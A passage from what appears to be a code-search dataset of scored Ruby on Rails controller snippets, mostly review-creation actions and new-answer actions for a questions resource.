"text": "def create\n @review = Review.where(\"reviews.user_id = ? AND reviews.link = ?\", \"#{review_params[:user_id]}\",\"#{review_params[:link]}\" ).first\n if @review.nil?\n @review = Review.new\n @review.user_id = review_params[:user_id]\n @review.link = review_params[:link]\n @review.m_category = review_params[:m_category]\n @review.name = review_params[:name]\n @review.rating = review_params[:rating]\n @review.review = review_params[:review]\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review.link, notice: 'Review was successfully created.' }\n #format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n else\n @review.rating = review_params[:rating]\n @review.review = review_params[:review]\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review.link, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4547888b39b7a97c18ee2e032831927a",
"score": "0.68048656",
"text": "def create\n @review = current_user.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @review }\n else\n format.html { render action: 'new' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0863364e41d2d8cb95358a31cbcc692",
"score": "0.68047243",
"text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n Tutor.update_grade(@review.tutor_id)\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0834bb2d167b23b1e08d1afa60682a51",
"score": "0.67977154",
"text": "def create_review\n Review.create :stage => \"1\", :critical_process_id => self.id\n end",
"title": ""
},
{
"docid": "d804200edd0dd77dafd5dd326c714432",
"score": "0.67951417",
"text": "def create_review\n @reservation = Reservation.find_by(id: params[\"id\"])\n @reservation.review = params[\"review\"]\n @reservation.save\n redirect_to \"/restaurants/#{@reservation.restaurant_id}\"\n end",
"title": ""
},
{
"docid": "28454bbedacca1598d6118604272145f",
"score": "0.6789612",
"text": "def create\n\n\n\n\n new_course_review = CourseReview.new(title: params[:course_review][:title],\n content: params[:course_review][:content],\n rating: params[:course_review][:rating],\n user_id: current_user.id,\n course_id: params[:course_id])\n\n new_course_review.save!\n redirect_to course_path(params[:course_id], new_course_review.id)\n end",
"title": ""
},
{
"docid": "7dcce41867cbc686732c479a921eccb0",
"score": "0.6770597",
"text": "def add_review(tktktk, human)\n self.reviews << Review.new(tktktk)\n self.add_customer(human)\n end",
"title": ""
},
{
"docid": "79f770c98b97dfd8bd8eda7499955918",
"score": "0.6764535",
"text": "def create\n @review = Review.new(review_params)\n #set item id of @review to current item id\n @review.item_id = @item.id\n @review.user_id = current_user.id\n \n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @item, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n \n\n end",
"title": ""
},
{
"docid": "def33c4c0a525468df90567f4ccb40ff",
"score": "0.67539734",
"text": "def create\n @review = @feed_entry.reviews.build(review_params)\n\n\n if @review.save\n redirect_to feed_entry_path(@feed_entry), notice: 'Review was successfully created.'\n\n else\n render :new\n\n end\n\n end",
"title": ""
},
{
"docid": "cfee40b50614a0ef12a4eb838c5c1e7c",
"score": "0.67530584",
"text": "def create\n\t\t@review = Review.new(review_params)\n\t\t@review.date = Date.today\n\n\t\tif @review.save && RatingsController.save_rating(params)\n\t\t\tredirect_to @review\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "43f94426a2bb8f7f78d5299ab26cbbc6",
"score": "0.67517895",
"text": "def create\n @review = current_user.reviews.new(review_params) #create empty new review\n #query TMDB api for information about the input title\n movie_info = Tmdb::Search.movie(\"#{@review.name}\")['results'][0]\n #find or create a new work based on the unique ID provided by TMDB\n @new_work = Moviework.find_or_create_by(unique_id: movie_info['id'])\n #if the work did not already exist and we just created it, it won't have a title\n #so I used the title column to check for this. If we did create it, we fill it up\n #with information from the api call here.\n if (!@new_work.title)\n @new_work.update(overview: movie_info['overview'], medium: \"Movie\", release_date: movie_info['release_date'], unique_id: movie_info['id'], original_title: movie_info['original_title'], backdrop_path: movie_info['backdrop_path'], vote_avg: movie_info['vote_average'], poster_path: movie_info['poster_path'], title: movie_info['title'])\n end\n #add some information from the work to the review\n @review.update(work_id: @new_work.id, category: \"Movie\", photo_url: @new_work['poster_path'])\n #check to see if it saved properly\n if @review.save\n flash[:notice] = \"Review was successfully created.\"\n redirect_to @review\n else\n flash[:alert] = \"Review creation failed, likely missing a needed field.\"\n render :new\n end\n end",
"title": ""
},
{
"docid": "cb48d93d23ebfba45a09e98e9152fa32",
"score": "0.67469865",
"text": "def create\n @review = Review.new(review_params)\n @review.champion_id = @champion.id\n @review.user_id = current_user.id\n\n # if the review saves, redirect to index\n if @review.save\n redirect_to champion_path(@champion)\n \n # otherwise return to the new review page\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "b7bc8a209aee0d84336d15fa5d1e71df",
"score": "0.6745529",
"text": "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.book_id = @book.id\n \n if @review.save\n flash[:success] = \"Review successfully created\"\n redirect_to @book\n else\n flash[:danger] = \"Review not created\"\n redirect_to @book\n end\n end",
"title": ""
},
{
"docid": "90f46b2cf59aae63559b688cceb6f73a",
"score": "0.67439324",
"text": "def create\n @review = current_user.reviews.build(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :review, status: :created, location: @review }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31d22a8e2b468a7584fb9817a984fbdf",
"score": "0.6741355",
"text": "def create\n @product = Product.find(params[:product_id])\n @product.product_reviews.create(product_review_params)\n @product.save\n redirect_to product_path(@product.id)\n end",
"title": ""
},
{
"docid": "9765c63b94243aa27d3ca4acea229b16",
"score": "0.6739857",
"text": "def create\n @review = Review.create({movie_id: params[:movie_id], movie_name: params[:movie_name], email_address: params[:email_address], review_date: params[:review_date], rating: params[:rating], comment: params[:comment]})\n if @review.save\n redirect_to \"/revues\"\n flash[:notify] = \"Your ReVue was saved!\"\n else\n redirect_to request.referrer\n flash[:danger] = \"Please fill in a valid response for all required fields\"\n end\n end",
"title": ""
},
{
"docid": "a4293448c974eb2cdc8c717bb6d327a0",
"score": "0.6737938",
"text": "def create\n @restaurant = Restaurant.find(params[:restaurant_id])\n @review = @restaurant.reviews.create( review_params )\n @review.save\n\n redirect_to restaurant_path( @restaurant.id )\n end",
"title": ""
},
{
"docid": "221334bfa40e9efa229c03b37a908dbd",
"score": "0.67298603",
"text": "def create \n\n #byebug\n\n if params[:title] != nil\n @movie = Movie.create(title: params[:title].keys.join(\"\"), poster: params[:poster].keys.join(\"\"), release_date: params[:release_date].keys.join(\"\"))\n @review = Review.create(user_id: @current_user.id, movie_id: @movie.id, rating: params[:review][:rating], content: params[:review][:content], favorite: params[:review][:favorite])\n else\n #byebug\n\n @review = Review.create(user_id: @current_user.id, movie_id: params[:review][:movie_id], rating: params[:review][:rating], content: params[:review][:content], favorite: params[:review][:favorite])\n end\n\n if @review.valid?\n redirect_to movie_path(@review.movie)\n else\n flash[:errors] = @review.errors.full_messages\n redirect_to movie_path(@review.movie)\n end\n\n end",
"title": ""
},
{
"docid": "c9311779b76a755ca08d2f8e0263fdff",
"score": "0.6715059",
"text": "def create\n @review = Review.new(review_params)\n\n if @review.save\n render :show, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "bb4e3d75b665982e090fdcf9f8e17e54",
"score": "0.67145085",
"text": "def create\n @review = current_user.reviews.new( review_params )\n @review.movie = @movie\n\n if @review.save\n redirect_to @movie, notice:'Review was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "e025aeb6e0a2c4dce6ba215a2555a1ac",
"score": "0.6707058",
"text": "def create\n\t\t@review = current_user.reviews.new(review_params)\n\t\tdish = @review.dish_id\n\t\tif @review.save\n\t\t\tredirect_to dish_path(dish) #redirects to dishes#show\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend",
"title": ""
},
{
"docid": "228aa251bcc7dab112347af181a2b26b",
"score": "0.67001474",
"text": "def new\n\t\t@review = Review.new\n\tend",
"title": ""
},
{
"docid": "51adac5f2c9b6f7900690c7eb715d143",
"score": "0.6699204",
"text": "def create\n @comment = @product.reviews.new(params[:review])\n @comment.save\n redirect_to @comment.product\n end",
"title": ""
},
{
"docid": "5cdfbe67b9133fa1992051137c4dbd39",
"score": "0.6691836",
"text": "def daycare_review(rating, reco, comments, id)\n $DB.execute(\"INSERT INTO reviews (rating, recommended, comments, daycare_id) VALUES (?, ?, ?, ?)\", \n [rating, reco, comments, id])\n\n user_interface\nend",
"title": ""
},
{
"docid": "00f54e362a8ed17bcfdd4f67264b92cb",
"score": "0.6675782",
"text": "def create\n @review = Review.new :product_id => params[:id],:user_id=>current_user.id\n @product = Product.find_by_id params[:review][:product_id]\n \n\n if @review.update_attributes(params[:review]) \n if @product.rating.nil? \n @product.rating = Rating.create :value => 0, :count => 0\n end\n @product.rating.add_rating(params[:review][:rating].to_i)\n flash[:notice] = t('review_successfully_sumbitted')\n redirect_back_or_default(product_path(@product))\n else\n render :action => \"submit\" \n end\n end",
"title": ""
},
{
"docid": "ede742b06e611227c866ebd2f78dd3f7",
"score": "0.6661718",
"text": "def create\n @review = Review.new(params[:review].permit(:maps_id, :review_title, :review_text, :review_eva))\n @review.save\n redirect_to maps_path\n end",
"title": ""
},
{
"docid": "c17baffb9a41df65cc93b67e726073ac",
"score": "0.66605026",
"text": "def create\n \n @movie = Movie.find(params[:movie_id])\n \n #populate a review asscoiated with movie 1 with form data\n # movie will be associated with the review\n @review = @movie.reviews.build(params.require(:review).permit(:details))\n if @review.save\n redirect_to movie_review_url(@movie,@review)\n else\n render :action => \"new\"\n end\n end",
"title": ""
},
{
"docid": "65a87aeb19d754dc379c9b75226634c9",
"score": "0.66590935",
"text": "def create\n\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html {redirect_to recipe_path(@review.recipe_id)}\n #format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n #format.html {redirect_to new_review_path}\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a729cf9d4ee98fe17fa1c32b015be62d",
"score": "0.66584855",
"text": "def create\n @review = Review.new()\n @review.user_id = params[:user_id]\n @review.restaurant_id = params[:restaurant_id]\n @review.title = params[:title]\n @review.review = params[:review]\n @restaurant = Restaurant.find(params[:restaurant_id])\n respond_to do |format|\n if @review.save\n format.html { redirect_to restaurant_path(@restaurant), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9b6c4a115c7988fe1574861dafe21e1",
"score": "0.6644815",
"text": "def create\n @review = Review.create!(review_params)\n\n render json: @review\n end",
"title": ""
},
{
"docid": "a465b9a338ac1091399bf28a9ac78821",
"score": "0.6640751",
"text": "def create\n @profile = Profile.find(params[:profile_id])\n @review = @profile.reviews.create(review_params)\n @review.user = current_user\n \n if @review.save\n redirect_to @profile\n else\n redirect_to listings_path\n end \n end",
"title": ""
},
{
"docid": "0bcd1d8c4ebd969c0cae45b6e19d60f3",
"score": "0.6632671",
"text": "def create\n \n # Add id to params , id getting from the POST fetch body.\n \n review = Review.create(content:params[:content], user_id:params[:userId], rating:params[:rating], username: params[:user_name])\n render json:review\n \n \n end",
"title": ""
},
{
"docid": "145adabe5bf5ba1c7b5e28e03dbbd519",
"score": "0.66297024",
"text": "def create\n @review = Review.new(review_params) # Instantiate review\n \n if @review.save\n redirect_to book_path(@review.book) # Redirect to book path if review saves\n else\n @book = Book.find(params[:book_id]) # Show errors on new review page if the review does not save\n render 'new'\n end\n\n end",
"title": ""
},
{
"docid": "bf9dd5bca376d9c7fe3534ddeba535bc",
"score": "0.66282755",
"text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "07aa31b1be9b2d507d99d48c42a2f8dc",
"score": "0.66262066",
"text": "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.music_instrument_id = @music_instrument.id\n if @review.save\n redirect_to music_instrument_path(@music_instrument)\n else\n flash[:notice] = ' Invalid Rating or Feedback '\n redirect_to music_instrument_path(@music_instrument)\n end\n end",
"title": ""
},
{
"docid": "7f47d4996fa4e45271829185af3190c0",
"score": "0.6622524",
"text": "def create\n\n @review = current_user.reviews.new(review_params)\n @review[:clinic_id] = params[:review][:clinic_id]\n if @review.save\n redirect_to reviews_path\n else\n render :new\n end\n \n end",
"title": ""
},
{
"docid": "d30eb3aa52bea2842c068fb390c8e2e3",
"score": "0.66199213",
"text": "def new\n \t@review = Review.new\n end",
"title": ""
},
{
"docid": "e94f26696ef38e8c4addac8cfbbd1b68",
"score": "0.6612527",
"text": "def create\n params[:review][:rating].sub!(/\\s*stars/,'') unless params[:review][:rating].blank?\n\n @review = Review.new(params[:review])\n @review.product = @product\n @review.user = current_user if user_signed_in?\n @review.ip_address = request.remote_ip\n \n authorize! :create, @review, :message => \"You must log in to review.\"\n \n if @review.save\n flash[:notice] = t('review_successfully_submitted')\n redirect_to (product_path(@product))\n else\n render :action => \"new\", :layout => !request.xhr?\n end\n end",
"title": ""
},
{
"docid": "caae9cf5c07bb5c821b3b36debb78786",
"score": "0.66088784",
"text": "def create\n @review = Review.new(review_params)\n \n #Adding validation redirection\n if @review.save\n redirect_to @review\n else\n render 'new'\n end\n \n end",
"title": ""
},
{
"docid": "e1039fbf06489d606aa0e85778238821",
"score": "0.6606627",
"text": "def create\n #@product = Product.find(params[:product_id])\n @review= Review.new(review_params)\n @review.save\n # @review = product.reviews(review_params)\n # redirect_to product_path(@product)\n end",
"title": ""
},
{
"docid": "35e20badee8f3e0fb8668916f7c1cbc3",
"score": "0.66036105",
"text": "def new\n @review = Review.new\n end",
"title": ""
},
{
"docid": "35e20badee8f3e0fb8668916f7c1cbc3",
"score": "0.66036105",
"text": "def new\n @review = Review.new\n end",
"title": ""
},
{
"docid": "35e20badee8f3e0fb8668916f7c1cbc3",
"score": "0.66036105",
"text": "def new\n @review = Review.new\n end",
"title": ""
},
{
"docid": "5435cd653860418d1f868182c9e6ece7",
"score": "0.6601157",
"text": "def create\n @review = current_user.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n add_tags(params[:tag_list], @review)\n \n flash[:notice] = 'Review was successfully created.'\n format.html { redirect_to(@review) }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n @album = Album.find(params[:review][:album_id])\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6fe5ff09208f72646440c93b450ec0c",
"score": "0.65930235",
"text": "def new\n @review = Review.new\n end",
"title": ""
},
{
"docid": "e02895116eb8cbb1c7a15ad8f4275a97",
"score": "0.6591781",
"text": "def create\n @review = Review.new(review_params)\n @review.user = current_user\n @review.program = @program\n @review.save\n redirect_to program_path(@program)\n flash[:alert] = \"Review content can't be blank!\" if @review.errors.full_messages.any?\n end",
"title": ""
},
{
"docid": "da181f02ca2fe11e04f9b9e1345ab191",
"score": "0.65915835",
"text": "def create\n @product_review = ProductReview.new(product_review_params)\n @product_review.user_id = current_user.id\n\n respond_to do |format|\n if @product_review.save\n SaleItem.find(@product_review.sale_item_id).product_reviews << @product_review\n format.html { redirect_to @product_review, notice: 'Product review was successfully created.' }\n format.json { render :show, status: :created, location: @product_review}\n else\n format.html { render :new }\n format.json { render json: @product_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ef95080478fb83646e6f166b8066e9a0",
"score": "0.6591463",
"text": "def create\n\n @review = Review.new\n @review.apartment_id = params['apartment_id']\n @review.review_text = params['review_text']\n @review.user_id = params['user_id']\n @review.price = params['price']\n @review.title = params['title']\n\n ActiveRecord::Base.transaction do\n @review.save\n\n Amenity.all.each do |amenity|\n if params['amenity_' + amenity.id.to_s]\n ReviewAmenity.create(:review_id => @review.id, :amenity_id => amenity.id)\n end\n end\n\n Tag.all.each do |tag|\n if params['tag_' + tag.id.to_s]\n ReviewTag.create(:review_id => @review.id, :tag_id => tag.id)\n end\n end\n\n Metric.all.each do |metric|\n if params['metric_' + metric.id.to_s]\n ReviewMetric.create(:review_id => @review.id, :metric_id => metric.id, :rating => params['metric_' + metric.id.to_s])\n end\n end\n\n end\n redirect_to reviews_path, notice: 'Review was successfully created.'\n end",
"title": ""
},
{
"docid": "a70371e7da9f94e99d1aecc16c9f42e0",
"score": "0.6591354",
"text": "def add_review(restaurant, content)\n review = Review.new(content)\n self.reviews << review\n review.customer = self\n review.restaurant = restaurant\n restaurant.reviews << review\n restaurant.customers << self\n end",
"title": ""
},
{
"docid": "a70371e7da9f94e99d1aecc16c9f42e0",
"score": "0.6591354",
"text": "def add_review(restaurant, content)\n review = Review.new(content)\n self.reviews << review\n review.customer = self\n review.restaurant = restaurant\n restaurant.reviews << review\n restaurant.customers << self\n end",
"title": ""
},
{
"docid": "8e20923163fc496aa4c0276c6448bf13",
"score": "0.65830034",
"text": "def create\n @event_review = @event.event_reviews.new(params[:event_review])\n @event_review.added_by = current_user.id\n respond_to do |format|\n if @event.event_reviews << @event_review\n flash[:notice] = 'Thank you for your valuable review.'\n format.html { redirect_to(event_path(@event)) }\n format.xml { render :xml => @event_review, :status => :created, :location => @event_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event_review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
4f95dd261340afd9668b89752194d3d0
|
GET /questions/1/answers/new GET /questions/1/answers/new.xml
|
[
{
"docid": "e738e8d357d9ed7f77e03f238dfb970b",
"score": "0.76661587",
"text": "def new\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
}
] |
[
{
"docid": "d14276cc678279d434ff0be31764d9ac",
"score": "0.7349718",
"text": "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "d14276cc678279d434ff0be31764d9ac",
"score": "0.7349718",
"text": "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "d14276cc678279d434ff0be31764d9ac",
"score": "0.7349718",
"text": "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "d14276cc678279d434ff0be31764d9ac",
"score": "0.7349718",
"text": "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "8b6c857c015aaaaddd99492b6072ecc7",
"score": "0.72601944",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @question }\n end\n end",
"title": ""
},
{
"docid": "09eedf1e95bf8fb26d0b154b346511f8",
"score": "0.7259577",
"text": "def new\n @new_question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "b9109e210cfcff98a4eadd8f96dd2440",
"score": "0.7249222",
"text": "def new\n @answer = @question.answers.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "6a07e46e5b4b2e7b06528f8445828330",
"score": "0.71530986",
"text": "def new\n @question_answer = QuestionAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_answer }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.71359706",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "6cd0876445ce6081b7157911a5efe269",
"score": "0.7134867",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "3bd6c87319e33bb6f8bc8ee770222bac",
"score": "0.71136886",
"text": "def new\n @question = Question.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "1c5fbc8fbbf6c946a3907bc8d1e0cbf4",
"score": "0.7110659",
"text": "def new\n @question = Question.new\n @answer = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "f7122b9fa6b78d7bdd705773d21a380d",
"score": "0.71029854",
"text": "def new\n @question = Question.new\n 2.times {@question.answers.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "898cde1d013312092e7b6e408d4bea90",
"score": "0.7062353",
"text": "def new\n @answer = Answer.new\n @answer.question_id = params[:question_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "e55896d96c3924ba8668d9b0c1f4be43",
"score": "0.7042173",
"text": "def new\n @question = Question.new\n @question.save\n respond_to do |format|\n format.html \n format.xml { render xml: @question }\n end\n end",
"title": ""
},
{
"docid": "9cb378f2553d12b9bbb0f99a9b40ed3b",
"score": "0.6978719",
"text": "def new_rest\n @entry_question = EntryQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_question }\n end\n end",
"title": ""
},
{
"docid": "c240d5aa1da2dedc0344919fff0ce2af",
"score": "0.6948051",
"text": "def new\n @question = Question.new(:survey_id => params[:survey_id],:q_n => params[:q_n])\n @title = 'New Question'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "382c6acff3a9cb5995bb0c4338360cb2",
"score": "0.6938603",
"text": "def new\n @exam = Exam.find(params[:exam_id])\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "87e56034a7290ad183ae4934d0552ca5",
"score": "0.6915563",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html\n format.xml { render xml: @question }\n format.json { render json: @question }\n end\n end",
"title": ""
},
{
"docid": "b989e3bdcbcb6c17ed4905a4d8f5ddca",
"score": "0.6882702",
"text": "def faq_new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end",
"title": ""
},
{
"docid": "f91fe0ad6e7ee7b069a77187a6f84f04",
"score": "0.6881964",
"text": "def new\n @question = Question.new\n @survey = Survey.find(params[:survey_id])\n \n respond_to do |format|\n format.html { render :action => \"new\", :survey_id => params[:survey_id]}\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "eb819af6a40f04490761f5d611b53106",
"score": "0.6869921",
"text": "def new\n @questions = Question.paginate :page => params[:page], :per_page => 5\n @answer = current_user.answers.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "d4755a15a66f81de4017bfd33f6757d2",
"score": "0.68537575",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n # format.html # new.html.erb\n format.xml { render :xml => @question }\n format.json { render :json => @question }\n end\n end",
"title": ""
},
{
"docid": "30f9b46e99fa48674418e4302a4ad492",
"score": "0.6845542",
"text": "def new\n @question_response = QuestionResponse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_response }\n end\n end",
"title": ""
},
{
"docid": "e1c6657143624e835386fe48ab631f77",
"score": "0.6843525",
"text": "def new\n @exam_question = ExamQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exam_question }\n end\n end",
"title": ""
},
{
"docid": "0072ec666ef300dfde12860337c91324",
"score": "0.6829164",
"text": "def new\n @differentiator_question = DifferentiatorQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @differentiator_question }\n end\n end",
"title": ""
},
{
"docid": "0fdf7f38c03aae84c742d40740bcd1af",
"score": "0.6825619",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html {} # new.html.haml\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "9cc4e7f696ee7bcf8f86c50eab078552",
"score": "0.68224764",
"text": "def new\n @answerchoice = Answerchoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answerchoice }\n end\n end",
"title": ""
},
{
"docid": "2ab68179cd57af6d9ee496295ee52b47",
"score": "0.68207216",
"text": "def new\n @examquestion = Examquestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @examquestion }\n end\n end",
"title": ""
},
{
"docid": "8d42ec3d9ca87c50efaeab746be3984c",
"score": "0.6820244",
"text": "def new\n @errors ||= []\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "5f9e292fdfc2b0f3de9d57b88ca39350",
"score": "0.6816149",
"text": "def new\n @assignment = @question.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"title": ""
},
{
"docid": "517f2f0a7e291e1deaf6d7b5305c3bf3",
"score": "0.68158764",
"text": "def new\n @examanswer = Examanswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @examanswer }\n end\n end",
"title": ""
},
{
"docid": "3303bce2f972d55622ffb3f8f137cf9f",
"score": "0.68108785",
"text": "def new\n @quiz_answer = QuizAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz_answer }\n end\n end",
"title": ""
},
{
"docid": "aa2a3beaba30dc0538423783008d87f6",
"score": "0.6805454",
"text": "def new\n @poll_answer = PollAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll_answer }\n end\n end",
"title": ""
},
{
"docid": "a0381c42e91e2a7b329e5aa6d5fb73e2",
"score": "0.6798542",
"text": "def new\n @what_new = WhatNew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @what_new }\n end\n end",
"title": ""
},
{
"docid": "d05c1ebc0a3c8efa3993753a053dab67",
"score": "0.6790825",
"text": "def new\n @answer = Letter.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"title": ""
},
{
"docid": "e09ba08676b02291c8d744315b855b7b",
"score": "0.6763827",
"text": "def new\n @poll_question = PollQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll_question }\n end\n end",
"title": ""
},
{
"docid": "176c50b8779359c0b395a340b9696459",
"score": "0.67626226",
"text": "def new\n @question_list = QuestionList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_list }\n end\n end",
"title": ""
},
{
"docid": "c25b993b5a9d7ba07be2cc9d556b5c3b",
"score": "0.6733064",
